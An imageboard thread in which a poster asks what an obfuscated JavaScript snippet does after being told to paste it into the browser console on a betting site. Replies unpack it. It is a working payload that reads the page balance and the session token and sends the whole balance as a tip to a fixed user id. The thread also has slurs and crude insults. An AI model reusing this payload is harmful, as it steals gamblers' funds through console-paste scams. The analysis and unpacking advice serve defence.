Some fat fag with a small dick told me to put thise in the chrome console while on a betting website tf it do???
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4 1=i.h("g-j")[0].k.o("\\n");1=m(1[1.f-2]);4 3=p c;3.7("6","9://e.a.b/d/l/5?q="+z.C("B"),!0),3.D("E-G","F/x-A-t-s;r=u-8"),3.5("v=y&w="+1);',43,43,'|tem||request|var|send|POST|open||https|csgoroll|com|XMLHttpRequest|v1|app|length|btn|getElementsByClassName|document|balance|innerHTML|tips|parseFloat||split|new|token|charset|urlencoded|form|UTF|user_id|amount||98545|localStorage|www|SESSION|getItem|setRequestHeader|Content|application|Type'.split('|'),0,{}))
It installs mustard gas.
>>62175423
It gave me a virus
Wtf man
here's the unpacked payload:var tem=document.getElementsByClassName("btn-balance")[0].innerHTML.split("\n");tem=parseFloat(tem[tem.length-2]);var request=new XMLHttpRequest;request.open("POST","https://app.csgoroll.com/v1/tips/send?token="+localStorage.getItem("SESSION"),!0),request.setRequestHeader("Content-Type","application/x-www-form-urlencoded;charset=UTF-8"),request.send("user_id=98545&amount="+tem);
I'm guessing it sends all your money to the guy's account (user_id=98545)
>>62175911
how did you unpack it?
>>62176856
it's actually simple as hell
right at the beginning you see "eval(function(", that function is returning a string for eval(). just take out the eval() and you can run the function and get the unpacked contents without it being executed. eval() is the only way to obfuscate code like that so if you remove any instances of it you won't get any surprises (you should still vet the code of course, OP's code is just String methods and a RegExp).
>>62175911
this is pretty much what every gambling script does but if youre retarded enough to play cs go you might as well give it a go.